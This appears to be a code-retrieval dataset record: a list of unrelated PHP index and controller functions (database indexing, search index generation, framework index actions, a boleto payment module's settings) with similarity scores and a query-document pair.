*/\n $productTable = $this->resourceConnection->getTableName('catalog_product_entity');\n $writeAdapter->query(\"INSERT INTO `$indexTable` (`product_id`, `version_id`) SELECT DISTINCT `entity_id`, '0' FROM `$productTable`;\");\n $writeAdapter->query(\"INSERT INTO `$changelogTable` (`entity_id`) SELECT DISTINCT `entity_id` FROM `$productTable`;\");\n\n /**\n * Reset mview version \n */\n $mviewTable = $this->resourceConnection->getTableName('mview_state');\n $writeAdapter->query(\"UPDATE `$mviewTable` SET `version_id` = NULL, `status` = 'idle' WHERE `view_id` = 'bazaarvoice_product';\");\n $indexCheck = $writeAdapter\n ->query(\n \"SELECT COUNT(1) indexIsThere FROM INFORMATION_SCHEMA.STATISTICS\n WHERE table_schema=DATABASE() AND table_name='$changelogTable' AND index_name='entity_id';\"\n );\n $indexCheck = $indexCheck->fetchObject();\n if ($indexCheck->indexIsThere == 0) {\n $writeAdapter->query(\"ALTER TABLE `$changelogTable` ADD INDEX (`entity_id`);\");\n }\n }", "abstract function index();", "abstract function index();", "abstract function index();", "private function genSearchIndex()\n\t{\n\t\t/*\n\t\t * The big array we want to fill ;)\n\t\t */\n\t\t$index = array();\n\t\t\n\t\t/*\n\t\t * Buddies Load persons in the index array that connected with the user\n\t\t */\n\t\t\n\t\t$model = loadModel('buddy');\n\t\tif($buddies = $model->listBuddies())\n\t\t{\n\t\t\t$result = array();\n\t\t\tforeach ($buddies as $b)\n\t\t\t{\n\t\t\t\t$img = '/img/avatar-mini.png';\n\t\t\t\t\n\t\t\t\tif(!empty($b['photo']))\n\t\t\t\t{\n\t\t\t\t\t$img = img($b['photo']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$result[] = array(\n\t\t\t\t\t'name' => $b['name'].' '.$b['nachname'],\n\t\t\t\t\t'teaser' => '',\n\t\t\t\t\t'img' => $img,\n\t\t\t\t\t'click' => 'chat(\\''.$b['id'].'\\');',\n\t\t\t\t\t'id' => $b['id'],\n\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t$b['name'],$b['nachname']\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t$index[] = array(\n\t\t\t\t'title' => 'Menschen die Du kennst',\n\t\t\t\t'key' => 'buddies',\n\t\t\t\t'result' => $result\n\t\t\t);\n\t\t}\n\t\t\n\t\t/*\n\t\t * Groups load Groups connected to the user in the array\n\t\t*/\n\t\t$model = loadModel('groups');\n\t\tif($groups = $model->listMyGroups())\n\t\t{\n\t\t\t$result = array();\n\t\t\tforeach ($groups as $b)\n\t\t\t{\n\t\t\t\t$img = '/img/groups.png';\n\t\t\t\tif(!empty($b['photo']))\n\t\t\t\t{\n\t\t\t\t\t$img = 'images/' . str_replace('photo/','photo/thumb_',$b['photo']);\n\t\t\t\t}\n\t\t\t\t$result[] = array(\n\t\t\t\t\t\t'name' => $b['name'],\n\t\t\t\t\t\t'teaser' => tt($b['teaser'],65),\n\t\t\t\t\t\t'img' => $img,\n\t\t\t\t\t\t'href' => '/?page=bezirk&bid='.$b['id'].'&sub=forum',\n\t\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t\t$b['name']\n\t\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t$index[] = array(\n\t\t\t\t\t'title' => 'Deine Gruppen',\n\t\t\t\t\t'result' => $result\n\t\t\t);\n\t\t}\n\t\t\n\t\t/*\n\t\t * Betriebe load food stores connected to the user in the array\n\t\t */\n\t\t$model = loadModel('betrieb');\n\t\tif($betriebe = $model->listMyBetriebe())\n\t\t{\n\t\t\t$result = array();\n\t\t\tforeach ($betriebe as $b)\n\t\t\t{\n\t\t\t\t$result[] = array(\n\t\t\t\t\t\t'name' => $b['name'],\n\t\t\t\t\t\t'teaser' => $b['str'].' '.$b['hsnr'].', '.$b['plz'].' '.$b['stadt'],\n\t\t\t\t\t\t'href' => '/?page=fsbetrieb&id='.$b['id'],\n\t\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t\t$b['name'],$b['str']\n\t\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t$index[] = array(\n\t\t\t\t\t'title' => 'Deine Betriebe',\n\t\t\t\t\t'result' => $result\n\t\t\t);\n\t\t}\n\t\t\n\t\t/*\n\t\t * Bezirke load Bezirke connected to the user in the array\n\t\t*/\n\t\t$model = loadModel('bezirk');\n\t\tif($bezirke = $model->listMyBezirke())\n\t\t{\n\t\t\t$result = array();\n\t\t\tforeach ($bezirke as $b)\n\t\t\t{\n\t\t\t\t$result[] = array(\n\t\t\t\t\t\t'name' => $b['name'],\n\t\t\t\t\t\t'teaser' => '',\n\t\t\t\t\t\t'img' => false,\n\t\t\t\t\t\t'href' => '/?page=bezirk&bid='.$b['id'].'&sub=forum',\n\t\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t\t\t$b['name']\n\t\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t$index[] = array(\n\t\t\t\t\t'title' => 'Deine Bezirke',\n\t\t\t\t\t'result' => $result\n\t\t\t);\n\t\t}\n\t\t\n\t\t/*\n\t\t * Get or set an individual token as filename for the public json file\n\t\t*/\n\t\tif($token = S::user('token'))\n\t\t{\n Storage::disk('searchindex')->put($token . '.json', json_encode($index));\n\t\t\treturn $token;\n\t\t}\n\t\t\n\t\t\n\t\treturn false;\n\t}", "public function esIndex()\n {\n if ($this->isEmpty()) {\n return null;\n }\n\n $all = $this->all();\n $params = [];\n\n foreach ($all as $item) {\n $params['body'][] = [\n 'index' => [\n '_id' => $item->getEsId(),\n '_type' => $item->getEsTypeName(),\n '_index' => $item->getEsIndexName(),\n ],\n ];\n $params['body'][] = $item->getEsData();\n }\n\n return Search::bulk($params);\n }", "function tabela($vetorComcadastros, $vetorComIndices){//Função que cria a tabela/lista recebe o vetor cos os cadsastros e outro com os indices\n retornaEscolhidos($vetorComcadastros, $vetorComIndices);//escreve a tabela\n }", "public function index(){\n\t\t$catalogos = array(\n\t\t\t\t'clasificacion_proyectos'=>ClasificacionProyecto::all(),\n\t\t\t\t'origenes_financiamiento' => OrigenFinanciamiento::all()\n\t\t\t);\n\t\treturn parent::loadIndex('EXP','PROYECTOS',$catalogos);\n\t}", "public function index()\n {\n return Inventario::all();\n }", "function retornaEscolhidos($vetorComcadastros, $vetorComIndices){\n $limite = count($vetorComIndices);//limite conta quantos indices tem\n cabeçalhoTabela();//imprime o cabeçalho da tabela\n for($x=0; $x<$limite; $x++){//executa um for que percorre todos os indices do Vetor com os indices\n $y = $vetorComIndices[$x];//$y é igual indice do primeiro cadastro\n echo \"<tr>\";//cria linha na tabela\n echo \"<th scope='row'>$y</th>\";//escreve qual é o indice\n foreach ($vetorComcadastros[$y] as $string){//percorre todos os dados do cadastro com indice $y\n echo \"<td>$string</td>\";//cria uma celula e dentro escreve o dado\n }\n echo \"<td>\",botaoAlterar($y),\"</td>\";//cria uma celula e põe dentro o botão alterar com o indice que ele deve alterar caso clicado\n echo \"<td>\",botaoExcluir($y),\"</td>\";\n echo \"</tr>\";//finaliza a linha\n }\n echo \"</tbody>\";//encerra o corpo da tabela\n echo \"</table>\";//encerra a tabela\n }", "public function updateIndexState() {\n $query = $this->database->select('help_search_items', 'hsi');\n $query->addExpression('COUNT(DISTINCT(hsi.sid))');\n $query->leftJoin('search_dataset', 'sd', 'hsi.sid = sd.sid AND sd.type = :type', [':type' => $this->getType()]);\n $query->isNull('sd.sid');\n $never_indexed = $query->execute()->fetchField();\n $this->state->set('help_search_unindexed_count', $never_indexed);\n }", "public function index()\n {\n // $humidities = ['sample' => 'This is sample'];\n\n $query = TableRegistry::get('VHumidities');\n $query = $query->find();\n $humidities = $query\n ->order(['dt' => 'DESC'])\n ->limit(30);\n\n $this->set([\n 'humidities' => $humidities,\n '_serialize' => ['humidities']\n ]);\n }", "public function index_put(){\n\t\t\n\t\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n// $entities = $em->getRepository('uniRecetasBundle:ingrediente')->findAll();\n $entities = $em->getRepository('uniRecetasBundle:ingrediente')->findBy(\n array(), \n array('nombre' => 'ASC')\n );\n\n return $this->render('uniRecetasBundle:ingrediente:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "private function processIndexes()\n {\n foreach ($this->indexes as $index) {\n foreach ($index->columns as $indexColumn) {\n $indexColumnName = $indexColumn['name'];\n if (!array_key_exists(strtolower($indexColumnName), $this->columns)) {\n throw new RuntimeException(\"Key column '$indexColumnName' doesn't exist in table\");\n }\n }\n }\n\n // figure out all sequences of columns covered by non-FK indexes\n foreach ($this->indexes as $index) {\n if ($index->type !== 'FOREIGN KEY') {\n foreach ($index->getCovers() as $cover) {\n $lookup = implode('\\0', $cover);\n $this->covers[$lookup] = true;\n }\n }\n }\n\n $indexes = [];\n $foreigns = [];\n $ibfkCounter = 0;\n\n foreach ($this->indexes as $index) {\n if ($index->type === 'FOREIGN KEY') {\n if ($this->addIndexForForeignKey) {\n // TODO - doesn't correctly deal with indexes like foo(10)\n $lookup = implode('\\0', $index->getColumns());\n if (!array_key_exists($lookup, $this->covers)) {\n $newIndex = new IndexDefinition();\n $newIndex->type = 'KEY';\n $newIndex->columns = $index->columns;\n if (!is_null($index->constraint)) {\n $newIndex->name = $index->constraint;\n } elseif (!is_null($index->name)) {\n $newIndex->name = $index->name;\n }\n $indexes[] = $newIndex;\n }\n }\n\n $foreign = new IndexDefinition();\n if (is_null($index->constraint)) {\n $foreign->constraint = $this->name . '_ibfk_' . ++$ibfkCounter;\n } else {\n $foreign->constraint = $index->constraint;\n }\n $foreign->type = 'FOREIGN KEY';\n $foreign->columns = $index->columns;\n $foreign->reference = $index->reference;\n $foreigns[] = $foreign;\n } else {\n $indexes[] = $index;\n }\n }\n\n // now synthesise names for any unnamed indexes,\n // and collect indexes by type\n $usedName = [];\n $keyTypes = [\n 'PRIMARY KEY',\n 'UNIQUE KEY',\n 'KEY',\n 'FULLTEXT KEY',\n 'FOREIGN KEY',\n ];\n $indexesByType = array_fill_keys($keyTypes, []);\n foreach ($indexes as $index) {\n $name = $index->name;\n if ($index->type === 'PRIMARY KEY') {\n $name = 'PRIMARY';\n } elseif (is_null($name)) {\n $base = $index->columns[0]['name'];\n $name = $base;\n $i = 1;\n while (isset($usedName[$name])) {\n $name = $base . '_' . ++$i;\n }\n $index->name = $name;\n } elseif (array_key_exists(strtolower($name), $usedName)) {\n throw new RuntimeException(\"Duplicate key name '$name'\");\n }\n $index->name = $name;\n $usedName[strtolower($name)] = true;\n\n $indexesByType[$index->type][] = $index;\n }\n\n if (count($indexesByType['PRIMARY KEY']) > 1) {\n throw new RuntimeException(\"Multiple PRIMARY KEYs defined\");\n }\n\n foreach ($indexesByType['PRIMARY KEY'] as $pk) {\n foreach ($pk->columns as $indexColumn) {\n $column = $this->columns[strtolower($indexColumn['name'])];\n if ($column->nullable) {\n $column->nullable = false;\n if (is_null($column->default)) {\n $column->default = $column->getUninitialisedValue();\n }\n }\n }\n }\n\n $this->indexes = [];\n foreach (array_reduce($indexesByType, 'array_merge', []) as $index) {\n $this->indexes[$index->name] = $index;\n }\n foreach ($foreigns as $foreign) {\n $this->foreigns[$foreign->constraint] = $foreign;\n }\n }", "public function getIndex() {\n \treturn $this->index;\n }", "function isIndexable()\n {\n return true;\n }", "public function getIndexes(string $entity): array;", "public function index()\n {\n return AtendenteResource::collection(Atendente::all());\n }", "public function indexes()\n {\n return CMap::mergeArray(parent::indexes(), array(\n 'points' => array(\n // key array holds list of fields for index\n // you may define multiple keys for index and multikey indexes\n // each key must have a sorting direction SORT_ASC or SORT_DESC\n 'key' => array(\n 'points.location' => CMongoCriteria::INDEX_2D,\n ),\n ),\n ));\n }", "public function index()\n {\n return Happening_event::all()\n ->toArray();\n }", "public static function createAllTableIndexes()\n {\n $result = true;\n \n // tdo_lists\n// if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_list_deleted_index on tdo_lists(deleted)\") == false)\n// $result = false;\n \n // tdo_list_memberships\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_list_membership_userid_index on tdo_list_memberships(userid(10))\") == false)\n $result = false;\n\n // tdo_user_sessions\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_user_sessions_userid_index on tdo_user_sessions(userid(10))\") == false)\n $result = false;\n\n \n // tdo_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_listid_index on tdo_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_parentid_index on tdo_tasks(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_duedate_index on tdo_tasks(duedate)\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tasks_timestamp_index on tdo_tasks(timestamp)\") == false)\n $result = false;\n\n \n //tdo_completed_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_listid_index on tdo_completed_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_parentid_index on tdo_completed_tasks(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_completiondate_index on tdo_completed_tasks(completiondate)\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_completed_tasks_timestamp_index on tdo_completed_tasks(timestamp)\") == false)\n $result = false;\n\n \n //tdo_deleted_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_deleted_tasks_listid_index on tdo_deleted_tasks(listid(10))\") == false)\n $result = false;\n\t\t\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_deleted_tasks_parentid_index on tdo_deleted_tasks(parentid(10))\") == false)\n $result = false;\n\n \n //tdo_archived_tasks\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_tasks_listid_index on tdo_archived_tasks(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_tasks_timestamp_index on tdo_archived_tasks(timestamp)\") == false)\n $result = false;\n\n \n // tdo_taskitos\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_taskitos_parentid_index on tdo_taskitos(parentid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_taskitos_timestamp_index on tdo_taskitos(timestamp)\") == false)\n $result = false;\n\n // tdo_archived_taskitos\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_taskitos_parentid_index on tdo_archived_taskitos(parentid(10))\") == false)\n $result = false;\n \n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_archived_taskitos_timestamp_index on tdo_archived_taskitos(timestamp)\") == false)\n $result = false;\n \n // tdo_tag_assignments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_tag_assignments_taskid_index on tdo_tag_assignments(taskid(10))\") == false)\n $result = false;\n \n // tdo_contexts\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_contexts_context_timestamp_index on tdo_contexts(context_timestamp)\") == false)\n $result = false;\n\n // tdo_context_assignments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_context_assignments_userid_index on tdo_context_assignments(userid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_context_assignments_taskid_index on tdo_context_assignments(taskid(10))\") == false)\n $result = false;\n\n // tdo_comments\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_comments_itemid_index on tdo_comments(itemid(10))\") == false)\n $result = false;\n \n // tdo_task_notifications\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_task_notifications_taskid_index on tdo_task_notifications(taskid(10))\") == false)\n $result = false;\n\n // tdo_change_log\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_change_log_listid_index on tdo_change_log(listid(10))\") == false)\n $result = false;\n\n if(TDOTableManager::createGenericIndex(\"CREATE INDEX tdo_change_log_itemid_index on tdo_change_log(itemid(10))\") == false)\n $result = false;\n \n return $result;\n }", "public function index()\n {\n return $this->_index(['user_id','=',$this->user()->id]);\n }", "public function indexTable()\n {\n $this->paginate = array('all', 'order' => array('modified' => 'desc'));\n $contentVariableTables = $this->paginate('ContentVariableTable');\n $this->set(compact('contentVariableTables', $contentVariableTables));\n }", "public function index()\n {\n //\n return EstabelecimentoSaudeResource::collection(EstabelecimentoSaude::get());\n }", "function admin_index() {\n\t\t$this->Event->recursive = 0;\n\t\t$this->set('events',$this->paginate());\n\t}", "function isIndexable()\r\n {\r\n return true;\r\n }", "public function hook_before_index(&$result) {\n \n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $listEquipo = array();\n $indice = 0;\n if ($this->get('security.context')->isGranted('ROLE_TECNO_ADMIN')) {\n // el usuario tiene el role 'ROLE_TECNO_ADMIN'\n $equipos = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Equipo')->findAll();\n $asignaciones = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Asignacion')->findAll();\n foreach ($equipos as $equipo) {\n $listEquipo[$indice]['id'] = $equipo->getId(); \n $listEquipo[$indice]['serialEquipo'] = $equipo->getSerialEquipo(); \n $listEquipo[$indice]['descripcion'] = $equipo->getDescripcion(); \n $listEquipo[$indice]['status'] = $equipo->getStatus(); \n $listEquipo[$indice]['observacionCondicion'] = $equipo->getObservacionCondicion(); \n $listEquipo[$indice]['fechaAdquisicion'] = $equipo->getFechaAdquisicion(); \n $listEquipo[$indice]['categoria'] = $equipo->getCategoria(); \n $listEquipo[$indice]['condicion'] = $equipo->getCondicion(); \n $listEquipo[$indice]['modelo'] = $equipo->getModelo(); \n foreach ($asignaciones as $asignar) {\n if( $asignar->getId() == $equipo->getId() ){\n $listEquipo[$indice]['corresponsalia'] = $asignar->getCorresponsalia(); \n $listEquipo[$indice]['responsable'] = $asignar->getResponsable(); \n $listEquipo[$indice]['fechaAsignacion'] = $asignar->getFechaAsignacion(); \n $listEquipo[$indice]['fechaEstimadaRetorno'] = $asignar->getFechaEstimadaRetorno(); \n $listEquipo[$indice]['fechaRetorno'] = $asignar->getFechaRetorno(); \n $listEquipo[$indice]['statusAsignacion'] = $asignar->getStatus(); \n }\n }\n $indice++;\n }\n } elseif ($this->get('security.context')->isGranted('ROLE_TECNO_CORRESPONSALIA')) {\n // el usuario tiene el role 'ROLE_TECNO_CORRESPONSALIA'\n $usuario = $this->get('security.context')->getToken()->getUser();\n $userCorresp = $em->getRepository('UsuarioBundle:Usercorresponsalia')->findOneByUsuario($usuario->getId());\n $equipos = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Equipo')->findAll();\n $asignaciones = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Asignacion')->findByCorresponsalia($userCorresp->getCorresponsalia()->getId());\n \n \n foreach ($asignaciones as $asignar) {\n $listEquipo[$indice]['corresponsalia'] = $asignar->getCorresponsalia(); \n $listEquipo[$indice]['responsable'] = $asignar->getResponsable(); \n $listEquipo[$indice]['fechaAsignacion'] = $asignar->getFechaAsignacion(); \n $listEquipo[$indice]['fechaEstimadaRetorno'] = $asignar->getFechaEstimadaRetorno(); \n $listEquipo[$indice]['fechaRetorno'] = $asignar->getFechaRetorno(); \n $listEquipo[$indice]['statusAsignacion'] = $asignar->getStatus(); \n foreach ($equipos as $equipo) {\n if( $equipo->getId() == $asignar->getId()){\n $listEquipo[$indice]['id'] = $equipo->getId(); \n $listEquipo[$indice]['serialEquipo'] = $equipo->getSerialEquipo(); \n $listEquipo[$indice]['descripcion'] = $equipo->getDescripcion(); \n $listEquipo[$indice]['status'] = $equipo->getStatus(); \n $listEquipo[$indice]['observacionCondicion'] = $equipo->getObservacionCondicion(); \n $listEquipo[$indice]['fechaAdquisicion'] = $equipo->getFechaAdquisicion(); \n $listEquipo[$indice]['categoria'] = $equipo->getCategoria(); \n $listEquipo[$indice]['condicion'] = $equipo->getCondicion(); \n $listEquipo[$indice]['modelo'] = $equipo->getModelo(); \n }\n }\n $indice++;\n }\n }\n \n \n \n return $this->render('CorresponsaliaBundle:Tecnologia/Equipo:index.html.twig', array(\n 'listEquipo' => $listEquipo,\n ));\n }" ]
[ "0.6531618", "0.64158845", "0.64158845", "0.64158845", "0.6398222", "0.6398222", "0.6398222", "0.63974375", "0.63974375", "0.63974375", "0.63966256", "0.6396441", "0.6396441", "0.63452476", "0.6195423", "0.61483467", "0.6138815", "0.6127461", "0.6119142", "0.6083122", "0.6000317", "0.59997594", "0.5990795", "0.5982069", "0.5936757", "0.5928141", "0.59235543", "0.5885971", "0.5876289", "0.5875159", "0.5873882", "0.587191", "0.58544683", "0.5842672", "0.582385", "0.5785896", "0.5781994", "0.5776671", "0.57688236", "0.5765151", "0.575103", "0.57507277", "0.57380164", "0.5737678", "0.5733523", "0.5727508", "0.5723513", "0.57104117", "0.57104117", "0.5682541", "0.5681858", "0.5678724", "0.56700927", "0.5667594", "0.56611073", "0.56557554", "0.56556475", "0.565503", "0.5652872", "0.5648377", "0.564705", "0.5645274", "0.5635228", "0.5634589", "0.56340754", "0.5626957", "0.56244135", "0.562238", "0.5621395", "0.5621229", "0.56210387", "0.56187344", "0.56164896", "0.56164896", "0.56164896", "0.56161034", "0.56078374", "0.56076276", "0.5589057", "0.5581777", "0.55741835", "0.5572649", "0.5569233", "0.55593014", "0.5556181", "0.5540311", "0.55368745", "0.55190444", "0.5518736", "0.5516399", "0.5510703", "0.5505357", "0.55049974", "0.55022293", "0.55013347", "0.54972833", "0.54947585", "0.5489689", "0.54781884", "0.5471715" ]
0.6015747
20
Para agregar variables a la vista del index
public function indexActionViewData() { return []; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function define_indexes()\n {\n\t\tif( !isset($this->input['st']) )\n\t\t{\n\t\t\t$this->input['st'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['t']) )\n\t\t{\n\t\t\t$this->input['t'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['p']) )\n\t\t{\n\t\t\t$this->input['p'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['pid']) )\n\t\t{\n\t\t\t$this->input['pid'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['gopid']) )\n\t\t{\n\t\t\t$this->input['gopid'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['L']) )\n\t\t{\n\t\t\t$this->input['L'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['f']) )\n\t\t{\n\t\t\t$this->input['f'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['cal_id']) )\n\t\t{\n\t\t\t$this->input['cal_id'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['code']) )\n\t\t{\n\t\t\t$this->input['code'] = '';\n\t\t}\n\t\t\n\t\tif( !isset($this->input['CODE']) )\n\t\t{\n\t\t\t$this->input['CODE'] = '';\n\t\t}\n\t}", "public function index() {\n $a = 10;\n $b = 20;\n $hasil = $a + $b;\n $this->set('h', $hasil); //1 variabel\n $this->set(compact('a', 'b', 'h'));\n }", "function get_index_params()\n {\n return array();\n }", "function putIndex(){\n\n }", "function putIndex(){\n\n }", "public function addVariables($tvs = array());", "public function buildIndex();", "function SetCustomVars()\r\n\t\t{\r\n\r\n\r\n\r\n\t\t\t$this->_variables['availablecountries'] = array(\"name\" => \"Continentes\",\r\n\t\t\t \"type\" => \"dropdown\",\r\n\t\t\t \"help\" => GetLang('boletoitauContinentes'),\r\n\t\t\t \"default\" => \"all\",\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"options\" => GetCountryListAsNameValuePairs(),\r\n\t\t\t\t\"multiselect\" => true\r\n\t\t\t);\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['desconto'] = array(\"name\" => \"Desconto em %\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => '',\r\n\t\t\t \"default\" => \"0\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\r\n\r\n\t\t\t$this->_variables['boletoitaucedente'] = array(\"name\" => \"Cedente\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauCedente'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauagencia'] = array(\"name\" => \"Agencia\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauAgencia'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauconta'] = array(\"name\" => \"Conta\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauConta'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['boletoitaucarteira'] = array(\"name\" => \"Carteira\",\r\n\t\t\t \"type\" => \"dropdown\",\r\n\t\t\t \"help\" => GetLang('boletoitauCarteira'),\r\n\t\t\t \"default\" => \"20\",\r\n\t\t\t \"options\" => array('175' => '175', '109' => '109'),\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"multiselection\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\r\n\r\n\r\n\t//_-----------------------------------------------------------------------------------------demonstrativos\r\n\t\r\n\t\t\t$this->_variables['demoum'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 1\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDemoU'),\r\n\t\t\t \"default\" => \"REFERENTE A COMPRAS ONLINE\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['demodois'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 2\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDemoD'),\r\n\t\t\t \"default\" => \"Duvidas e sugest&otilde;es entre em contato conosco:\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t\t\t$this->_variables['demotres'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 3\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDemoT'),\r\n\t\t\t \"default\" => \"[email protected] | +55 xx 0000.0000\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t//_------------------------------------------------------------------------------------------fim-demonstrativos\r\n\t\r\n\r\n\r\n\r\n\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaoum'] = array(\"name\" => \"Instru&ccedil;&atilde;o 1\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoUm'),\r\n\t\t\t \"default\" => \"Multa de R$ 3,00 por atraso.\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaodois'] = array(\"name\" => \"Instru&ccedil;&atilde;o 2\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoDois'),\r\n\t\t\t \"default\" => \"Apos o vencimento, pagavel apenas no Banco Real\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\t\t\t$this->_variables['boletoitauinstrucaotres'] = array(\"name\" => \"Instru&ccedil;&atilde;o 3\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoTres'),\r\n\t\t\t \"default\" => \"Fatura sujeita a protesto no SPC/SERASA\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauinstrucaoquatro'] = array(\"name\" => \"Instru&ccedil;&atilde;o 4\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauInstrucaoQuatro'),\r\n\t\t\t \"default\" => \"Juros de mora de 0,1% ao dia.\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauaceite'] = array(\"name\" => \"Aceite\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauAceite'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['boletoitauespeciedoc'] = array(\"name\" => \"Esp&eacute;cie do documento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauEspecieDoc'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauespecie'] = array(\"name\" => \"Esp&eacute;cie de cobran&ccedil;a\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauEspecie'),\r\n\t\t\t \"default\" => \"R$\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\r\n\t\t\t$this->_variables['boletoitaucpfcnpj'] = 